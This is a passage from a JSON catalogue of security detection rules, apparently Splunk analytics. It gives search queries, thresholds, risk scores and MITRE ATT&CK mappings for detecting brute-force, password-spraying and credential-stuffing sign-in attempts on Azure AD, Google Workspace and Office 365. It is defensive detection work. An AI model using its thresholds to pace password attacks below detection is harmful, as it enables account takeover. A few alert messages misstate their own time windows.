`security_content_ctime(lastTime)` | `azure_active_directory_high_risk_sign_in_filter`", - "tags": { - "analytic_story": [ - "Azure Active Directory Account Takeover" - ], - "asset_type": "Azure Active Directory", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Weaponization" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "A high risk event was identified by Identify Protection for user $user$", - "risk_score": 54, - "security_domain": "identity", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1110", - "mitre_attack_technique": "Brute Force", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT38", - "APT39", - "DarkVishnya", - "Dragonfly", - "FIN5", - "Fox Kitten", - "HEXANE", - "OilRig", - "Turla" - ] - }, - { - "mitre_attack_id": "T1110.003", - "mitre_attack_technique": "Password Spraying", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "Chimera", - "HEXANE", - "Lazarus Group", - "Leafminer", - "Silent Librarian" - ] - } - ] - } - }, - { - "name": "Azure AD High Number Of Failed Authentications For User", - "description": "The following analytic identifies an Azure AD account experiencing more than 20 failed authentication attempts within a 10-minute window. This detection leverages Azure SignInLogs data, specifically monitoring for error code 50126 and unsuccessful authentication attempts. This behavior is significant as it may indicate a brute force attack targeting the account. If confirmed malicious, an attacker could potentially gain unauthorized access, leading to data breaches or further exploitation within the environment. Security teams should adjust the threshold based on their specific environment to reduce false positives.", - "search": " `azure_monitor_aad` category= SignInLogs properties.status.errorCode=50126 properties.authenticationDetails{}.succeeded=false | rename properties.* as * | bucket span=10m _time | stats count min(_time) as firstTime max(_time) as lastTime values(src_ip) as src_ip by user | where count > 20 | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `azure_ad_high_number_of_failed_authentications_for_user_filter`", - "tags": { - "analytic_story": [ - "Azure Active Directory Account Takeover", - "Compromised User Account" - ], - "asset_type": "Azure Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "User $user$ failed to authenticate more than 20 times in the span of 5 minutes.", - "risk_score": 35, - "security_domain": "identity", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1110", - "mitre_attack_technique": "Brute Force", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT38", - "APT39", - "DarkVishnya", - "Dragonfly", - "FIN5", - "Fox Kitten", - "HEXANE", - "OilRig", - "Turla" - ] - }, - { - "mitre_attack_id": "T1110.001", - "mitre_attack_technique": "Password Guessing", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29" - ] - } - ] - } - }, - { - "name": "Azure AD High Number Of Failed Authentications From Ip", - "description": "The following analytic detects an IP address with 20 or more failed authentication attempts to an Azure AD tenant within 10 minutes. It leverages Azure AD SignInLogs to identify repeated failed logins from the same IP. This behavior is significant as it may indicate a brute force attack aimed at gaining unauthorized access or escalating privileges. If confirmed malicious, the attacker could potentially compromise user accounts, leading to unauthorized access to sensitive information and resources within the Azure environment.", - "search": " `azure_monitor_aad` category= SignInLogs properties.status.errorCode=50126 properties.authenticationDetails{}.succeeded=false | rename properties.* as * | bucket span=10m _time | stats count min(_time) as firstTime max(_time) as lastTime values(user) as user by src_ip | where count > 20 | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `azure_ad_high_number_of_failed_authentications_from_ip_filter`", - "tags": { - "analytic_story": [ - "Azure Active Directory Account Takeover", - "Compromised User Account", - "NOBELIUM Group" - ], - "asset_type": "Azure Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "$src_ip$ failed to authenticate more than 20 times in the span of 10 minutes minutes.", - "risk_score": 35, - "security_domain": "identity", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1110", - "mitre_attack_technique": "Brute Force", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT38", - "APT39", - "DarkVishnya", - "Dragonfly", - "FIN5", - "Fox Kitten", - "HEXANE", - "OilRig", - "Turla" - ] - }, - { - "mitre_attack_id": "T1110.001", - "mitre_attack_technique": "Password Guessing", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29" - ] - }, - { - "mitre_attack_id": "T1110.003", - "mitre_attack_technique": "Password Spraying", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "Chimera", - "HEXANE", - "Lazarus Group", - "Leafminer", - "Silent Librarian" - ] - } - ] - } - }, - { - "name": "Azure AD Multi-Source Failed Authentications Spike", - "description": "The following analytic detects potential distributed password spraying attacks in an Azure AD environment. It identifies a spike in failed authentication attempts across various user-and-IP combinations from multiple source IPs and countries, using different user agents. This detection leverages Azure AD SignInLogs, focusing on error code 50126 for failed authentications. This activity is significant as it indicates an adversary's attempt to bypass security controls by distributing login attempts. If confirmed malicious, this could lead to unauthorized access, data breaches, privilege escalation, and lateral movement within the organization's infrastructure.", - "search": " `azure_monitor_aad` category=SignInLogs properties.status.errorCode=50126 properties.authenticationDetails{}.succeeded=false | rename properties.* as * | bucket span=5m _time | eval uniqueIPUserCombo = src_ip . \"-\" . user | stats count min(_time) as firstTime max(_time) as lastTime dc(uniqueIPUserCombo) as uniqueIpUserCombinations, dc(user) as uniqueUsers, dc(src_ip) as uniqueIPs, dc(user_agent) as uniqueUserAgents, dc(location.countryOrRegion) as uniqueCountries values(user) as user, values(src_ip) as ips, values(user_agent) as user_agents, values(location.countryOrRegion) as countries | where uniqueIpUserCombinations > 20 AND uniqueUsers > 20 AND uniqueIPs > 20 AND uniqueUserAgents = 1 | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `azure_ad_multi_source_failed_authentications_spike_filter`", - "tags": { - "analytic_story": [ - "Azure Active Directory Account Takeover", - "NOBELIUM Group" - ], - "asset_type": "Azure Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Weaponization" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "An anomalous multi source authentication spike ocurred at $_time$", - "risk_score": 42, - "security_domain": "identity", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1110", - "mitre_attack_technique": "Brute Force", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT38", - "APT39", - "DarkVishnya", - "Dragonfly", - "FIN5", - "Fox Kitten", - "HEXANE", - "OilRig", - "Turla" - ] - }, - { - "mitre_attack_id": "T1110.003", - "mitre_attack_technique": "Password Spraying", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "Chimera", - "HEXANE", - "Lazarus Group", - "Leafminer", - "Silent Librarian" - ] - }, - { - "mitre_attack_id": "T1110.004", - "mitre_attack_technique": "Credential Stuffing", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "Chimera" - ] - } - ] - } - }, - { - "name": "Azure AD Multiple Users Failing To Authenticate From Ip", - "description": "The following analytic detects a single source IP failing to authenticate with 30 unique valid users within 5 minutes in Azure Active Directory. It leverages Azure AD SignInLogs with error code 50126, indicating invalid passwords. This behavior is significant as it may indicate a Password Spraying attack, where an adversary attempts to gain initial access or elevate privileges by trying common passwords across many accounts. If confirmed malicious, this activity could lead to unauthorized access, data breaches, or privilege escalation within the Azure AD environment.", - "search": " `azure_monitor_aad` category=SignInLogs properties.status.errorCode=50126 properties.authenticationDetails{}.succeeded=false | rename properties.* as * | bucket span=5m _time | stats count min(_time) as firstTime max(_time) as lastTime dc(user) AS unique_accounts values(user) as user by src_ip | where unique_accounts > 30 | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `azure_ad_multiple_users_failing_to_authenticate_from_ip_filter`", - "tags": { - "analytic_story": [ - "Azure Active Directory Account Takeover" - ], - "asset_type": "Azure Active Directory", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Weaponization" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "Source Ip $src_ip$ failed to authenticate with 30 users within 5 minutes.", - "risk_score": 63, - "security_domain": "identity", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1110", - "mitre_attack_technique": "Brute Force", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT38", - "APT39", - "DarkVishnya", - "Dragonfly", - "FIN5", - "Fox Kitten", - "HEXANE", - "OilRig", - "Turla" - ] - }, - { - "mitre_attack_id": "T1110.003", - "mitre_attack_technique": "Password Spraying", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "Chimera", - "HEXANE", - "Lazarus Group", - "Leafminer", - "Silent Librarian" - ] - }, - { - "mitre_attack_id": "T1110.004", - "mitre_attack_technique": "Credential Stuffing", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "Chimera" - ] - } - ] - } - }, - { - "name": "Azure AD Successful Authentication From Different Ips", - "description": "The following analytic detects an Azure AD account successfully authenticating from multiple unique IP addresses within a 30-minute window. It leverages Azure AD SignInLogs to identify instances where the same user logs in from different IPs in a short time frame. This behavior is significant as it may indicate compromised credentials being used by an adversary, potentially following a phishing attack. If confirmed malicious, this activity could allow unauthorized access to corporate resources, leading to data breaches or further exploitation within the network.", - "search": " `azure_monitor_aad` properties.authenticationDetails{}.succeeded=true category=SignInLogs | rename properties.* as * | bucket span=30m _time | stats count min(_time) as firstTime max(_time) as lastTime dc(src_ip) AS unique_ips values(src_ip) as src_ip values(appDisplayName) as appDisplayName by user | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | where unique_ips > 1 | `azure_ad_successful_authentication_from_different_ips_filter`", - "tags": { - "analytic_story": [ - "Azure Active Directory Account Takeover", - "Compromised User Account" - ], - "asset_type": "Azure Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "User $user$ has had successful authentication events from more than one unique IP address in the span of 30 minutes.", - "risk_score": 56, - "security_domain": "identity", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1110", - "mitre_attack_technique": "Brute Force", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT38", - "APT39", - "DarkVishnya", - "Dragonfly", - "FIN5", - "Fox Kitten", - "HEXANE", - "OilRig", - "Turla" - ] - }, - { - "mitre_attack_id": "T1110.001", - "mitre_attack_technique": "Password Guessing", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29" - ] - }, - { - "mitre_attack_id": "T1110.003", - "mitre_attack_technique": "Password Spraying", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "Chimera", - "HEXANE", - "Lazarus Group", - "Leafminer", - "Silent Librarian" - ] - } - ] - } - }, - { - "name": "Azure AD Unusual Number of Failed Authentications From Ip", - "description": "The following analytic identifies a single source IP failing to authenticate with multiple valid users, potentially indicating a Password Spraying attack against an Azure Active Directory tenant. It uses Azure SignInLogs data and calculates the standard deviation for source IPs, applying the 3-sigma rule to detect unusual numbers of failed authentication attempts. This activity is significant as it may signal an adversary attempting to gain initial access or elevate privileges. If confirmed malicious, this could lead to unauthorized access, privilege escalation, and potential compromise of sensitive information.", - "search": " `azure_monitor_aad` category=SignInLogs properties.status.errorCode=50126 properties.authenticationDetails{}.succeeded=false | rename properties.* as * | bucket span=5m _time | stats dc(userPrincipalName) AS unique_accounts values(userPrincipalName) as userPrincipalName by _time, ipAddress | eventstats avg(unique_accounts) as ip_avg, stdev(unique_accounts) as ip_std by ipAddress | eval upperBound=(ip_avg+ip_std*3) | eval isOutlier=if(unique_accounts > 10 and unique_accounts >= upperBound, 1,0) | where isOutlier = 1 | `azure_ad_unusual_number_of_failed_authentications_from_ip_filter`", - "tags": { - "analytic_story": [ - "Azure Active Directory Account Takeover" - ], - "asset_type": "Azure Active Directory", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Weaponization" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "userPrincipalName", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "ipAddress", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "Possible Password Spraying attack against Azure AD from source ip $ipAddress$", - "risk_score": 54, - "security_domain": "access", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1110", - "mitre_attack_technique": "Brute Force", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT38", - "APT39", - "DarkVishnya", - "Dragonfly", - "FIN5", - "Fox Kitten", - "HEXANE", - "OilRig", - "Turla" - ] - }, - { - "mitre_attack_id": "T1110.003", - "mitre_attack_technique": "Password Spraying", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "Chimera", - "HEXANE", - "Lazarus Group", - "Leafminer", - "Silent Librarian" - ] - }, - { - "mitre_attack_id": "T1110.004", - "mitre_attack_technique": "Credential Stuffing", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "Chimera" - ] - } - ] - } - }, - { - "name": "GCP Multiple Users Failing To Authenticate From Ip", - "description": "The following analytic detects a single source IP address failing to authenticate into more than 20 unique Google Workspace user accounts within a 5-minute window. It leverages Google Workspace login failure events to identify potential password spraying attacks. This activity is significant as it may indicate an adversary attempting to gain unauthorized access or elevate privileges within the Google Cloud Platform. If confirmed malicious, this behavior could lead to unauthorized access to sensitive resources, data breaches, or further exploitation within the environment.", - "search": "`gws_reports_login` event.type = login event.name = login_failure | bucket span=5m _time | stats count dc(user) AS unique_accounts values(user) as tried_accounts values(authentication_method) AS authentication_method earliest(_time) as firstTime latest(_time) as lastTime by _time event.name src app id.applicationName | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | where unique_accounts > 20 | `gcp_multiple_users_failing_to_authenticate_from_ip_filter`", - "tags": { - "analytic_story": [ - "GCP Account Takeover" - ], - "asset_type": "Google Cloud Platform tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Weaponization" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "tried_accounts", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "src", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "Multiple failed login attempts (Count: $unique_accounts$) against users seen from $src$", - "risk_score": 54, - "security_domain": "threat", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1110", - "mitre_attack_technique": "Brute Force", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT38", - "APT39", - "DarkVishnya", - "Dragonfly", - "FIN5", - "Fox Kitten", - "HEXANE", - "OilRig", - "Turla" - ] - }, - { - "mitre_attack_id": "T1110.003", - "mitre_attack_technique": "Password Spraying", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "Chimera", - "HEXANE", - "Lazarus Group", - "Leafminer", - "Silent Librarian" - ] - }, - { - "mitre_attack_id": "T1110.004", - "mitre_attack_technique": "Credential Stuffing", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "Chimera" - ] - } - ] - } - }, - { - "name": "GCP Unusual Number of Failed Authentications From Ip", - "description": "The following analytic identifies a single source IP failing to authenticate into Google Workspace with multiple valid users, potentially indicating a Password Spraying attack. It uses Google Workspace login failure events and calculates the standard deviation for source IPs, applying the 3-sigma rule to detect unusual failed authentication attempts. This activity is significant as it may signal an adversary attempting to gain initial access or elevate privileges. If confirmed malicious, this could lead to unauthorized access, data breaches, or further exploitation within the environment.", - "search": "`gws_reports_login` event.type = login event.name = login_failure| bucket span=5m _time | stats dc(user_name) AS unique_accounts values(user_name) as tried_accounts values(authentication_method) AS authentication_method by _time, src | eventstats avg(unique_accounts) as ip_avg , stdev(unique_accounts) as ip_std by _time | eval upperBound=(ip_avg+ip_std*3) | eval isOutlier=if(unique_accounts > 10 and unique_accounts >= upperBound, 1, 0) | where isOutlier =1| `gcp_unusual_number_of_failed_authentications_from_ip_filter`", - "tags": { - "analytic_story": [ - "GCP Account Takeover" - ], - "asset_type": "Google Cloud Platform tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Weaponization" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "src", - "type": "IP Address", - "role": [ - "Attacker" - ] - }, - { - "name": "tried_accounts", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Unusual number of failed console login attempts (Count: $unique_accounts$) against users from IP Address - $src$", - "risk_score": 54, - "security_domain": "threat", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1110", - "mitre_attack_technique": "Brute Force", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT38", - "APT39", - "DarkVishnya", - "Dragonfly", - "FIN5", - "Fox Kitten", - "HEXANE", - "OilRig", - "Turla" - ] - }, - { - "mitre_attack_id": "T1110.003", - "mitre_attack_technique": "Password Spraying", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "Chimera", - "HEXANE", - "Lazarus Group", - "Leafminer", - "Silent Librarian" - ] - }, - { - "mitre_attack_id": "T1110.004", - "mitre_attack_technique": "Credential Stuffing", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "Chimera" - ] - } - ] - } - }, - { - "name": "High Number of Login Failures from a single source", - "description": "The following analytic detects multiple failed login attempts in Office365 Azure Active Directory from a single source IP address. It leverages Office365 management activity logs, specifically AzureActiveDirectoryStsLogon records, aggregating these logs in 5-minute intervals to count failed login attempts. This activity is significant as it may indicate brute-force attacks or password spraying, which are critical to monitor. If confirmed malicious, an attacker could gain unauthorized access to Office365 accounts, leading to potential data breaches, lateral movement within the organization, or further malicious activities using the compromised account.", - "search": "`o365_management_activity` Workload=AzureActiveDirectory Operation=UserLoginFailed record_type=AzureActiveDirectoryStsLogon | bucket span=5m _time | stats dc(_raw) AS failed_attempts values(user) as user values(LogonError) as LogonError values(signature) as signature values(UserAgent) as UserAgent by _time, src_ip | where failed_attempts > 10 | `high_number_of_login_failures_from_a_single_source_filter`", - "tags": { - "analytic_story": [ - "Office 365 Account Takeover" - ], - "asset_type": "O365 Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "Ip address $src_ip$ failed to authenticate more than 10 times in a 5 minute", - "risk_score": 25, - "security_domain": "threat", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1110.001", - "mitre_attack_technique": "Password Guessing", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29" - ] - }, - { - "mitre_attack_id": "T1110", - "mitre_attack_technique": "Brute Force", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT38", - "APT39", - "DarkVishnya", - "Dragonfly", - "FIN5", - "Fox Kitten", - "HEXANE", - "OilRig", - "Turla" - ] - } - ] - } - }, - { - "name": "O365 Excessive Authentication Failures Alert", - "description": "The following analytic identifies an excessive number of authentication failures, including failed attempts against MFA prompt codes. It uses data from the `o365_management_activity` dataset, focusing on events where the authentication status is marked as failure. This behavior is significant as it may indicate a brute force attack or an attempt to compromise user accounts. If confirmed malicious, this activity could lead to unauthorized access, data breaches, or further exploitation within the environment.", - "search": "`o365_management_activity` Workload=AzureActiveDirectory UserAuthenticationMethod=* status=failure | stats count earliest(_time) AS firstTime latest(_time) AS lastTime values(UserAuthenticationMethod) AS UserAuthenticationMethod values(UserAgent) AS UserAgent values(status) AS status values(src_ip) AS src_ip by user | where count > 10 | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `o365_excessive_authentication_failures_alert_filter`", - "tags": { - "analytic_story": [ - "Office 365 Account Takeover" - ], - "asset_type": "O365 Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "User $user$ has caused excessive number of authentication failures from $src_ip$ using UserAgent $UserAgent$.", - "risk_score": 64, - "security_domain": "threat", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1110", - "mitre_attack_technique": "Brute Force", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT38", - "APT39", - "DarkVishnya", - "Dragonfly", - "FIN5", - "Fox Kitten", - "HEXANE", - "OilRig", - "Turla" - ] - } - ] - } - }, - { - "name": "O365 High Number Of Failed Authentications for User", - "description": "The following analytic identifies an O365 account experiencing more than 20 failed authentication attempts within 5 minutes. It uses O365 Unified Audit Logs, specifically \"UserLoginFailed\" events, to monitor and flag accounts exceeding this threshold. This activity is significant as it may indicate a brute force attack or password guessing attempt. If confirmed malicious, an attacker could gain unauthorized access to the O365 environment, potentially compromising sensitive emails, documents, and other data. Prompt investigation and action are crucial to prevent unauthorized access and data breaches.", - "search": " `o365_management_activity` Operation=UserLoginFailed record_type=AzureActiveDirectoryStsLogon Workload=AzureActiveDirectory | bucket span=5m _time | stats dc(_raw) AS failed_attempts values(src_ip) as src_ip by user, _time | where failed_attempts > 10 | `o365_high_number_of_failed_authentications_for_user_filter`", - "tags": { - "analytic_story": [ - "Office 365 Account Takeover" - ], - "asset_type": "O365 Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "User $user$ failed to authenticate more than 10 times in the span of 5 minutes.", - "risk_score": 35, - "security_domain": "identity", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1110", - "mitre_attack_technique": "Brute Force", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT38", - "APT39", - "DarkVishnya", - "Dragonfly", - "FIN5", - "Fox Kitten", - "HEXANE", - "OilRig", - "Turla" - ] - }, - { - "mitre_attack_id": "T1110.001", - "mitre_attack_technique": "Password Guessing", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29" - ] - } - ] - } - }, - { - "name": "O365 Multi-Source Failed Authentications Spike", - "description": "The following analytic identifies a spike in failed authentication attempts within an Office 365 environment, indicative of a potential distributed password spraying attack. It leverages UserLoginFailed events from O365 Management Activity logs, focusing on ErrorNumber 50126. This detection is significant as it highlights attempts to bypass security controls using multiple IP addresses and user agents. If confirmed malicious, this activity could lead to unauthorized access, data breaches, privilege escalation, and lateral movement within the organization. Early detection is crucial to prevent account takeovers and mitigate subsequent threats.", - "search": " `o365_management_activity` Workload=AzureActiveDirectory Operation=UserLoginFailed ErrorNumber=50126 | bucket span=5m _time | eval uniqueIPUserCombo = src_ip . \"-\" . user | stats dc(uniqueIPUserCombo) as uniqueIpUserCombinations, dc(user) as uniqueUsers, dc(src_ip) as uniqueIPs, values(user) as user, values(src_ip) as ips, values(user_agent) as user_agents by _time | where uniqueIpUserCombinations > 20 AND uniqueUsers > 20 AND uniqueIPs > 20 | `o365_multi_source_failed_authentications_spike_filter`", - "tags": { - "analytic_story": [ - "NOBELIUM Group", - "Office 365 Account Takeover" - ], - "asset_type": "O365 Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Weaponization" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "An anomalous multi source authentication spike ocurred at $_time$", - "risk_score": 42, - "security_domain": "identity", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1110", - "mitre_attack_technique": "Brute Force", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT38", - "APT39", - "DarkVishnya", - "Dragonfly", - "FIN5", - "Fox Kitten", - "HEXANE", - "OilRig", - "Turla" - ] - }, - { - "mitre_attack_id": "T1110.003", - "mitre_attack_technique": "Password Spraying", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "Chimera", - "HEXANE", - "Lazarus Group", - "Leafminer", - "Silent Librarian" - ] - }, - { - "mitre_attack_id": "T1110.004", - "mitre_attack_technique": "Credential Stuffing", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "Chimera" - ] - } - ] - } - }, - { - "name": "O365 Multiple Users Failing To Authenticate From Ip", - "description": "The following analytic identifies instances where more than 10 unique user accounts fail to authenticate from a single IP address within a 5-minute window. This detection leverages O365 audit logs, specifically Azure Active Directory login failures (AzureActiveDirectoryStsLogon). Such activity is significant as it may indicate brute-force attacks or password spraying attempts. If confirmed malicious, this behavior suggests an external entity is attempting to breach security by targeting multiple accounts, potentially leading to unauthorized access. Immediate action is required to block or monitor the suspicious IP and notify affected users to enhance their security measures.", - "search": " `o365_management_activity` Workload=AzureActiveDirectory Operation=UserLoginFailed ErrorNumber=50126 | bucket span=5m _time | stats dc(user) as unique_accounts values(user) as user values(LogonError) as LogonError values(signature) as signature values(UserAgent) as UserAgent by _time, src_ip | where 